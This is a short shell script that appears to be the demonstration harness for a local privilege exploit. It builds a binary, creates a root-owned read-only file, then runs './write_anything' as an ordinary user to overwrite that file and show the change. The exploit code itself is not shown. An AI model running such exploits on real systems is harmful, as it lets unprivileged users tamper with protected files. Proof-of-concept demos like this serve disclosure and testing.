exploit.sh

#!/bin/sh

make

rofile="read_only_file.txt"

echo ""
echo "*** Creating file, writeable only by root ($rofile)."
echo ""
sudo install -m444 -o0 -g0 all_work_and_no_play.txt $rofile
ls -l $rofile

echo ""
echo "*** Content of file, prior of exploit."
echo ""

head -3 $rofile

echo ""
echo "*** Running exploit as user: `id`."
echo ""
./write_anything $rofile 45 "This is an exploit, it pwns your machine..." 

echo ""
echo "*** Content of file, after exploit has run:"
echo ""
ls -l $rofile
head -3 $rofile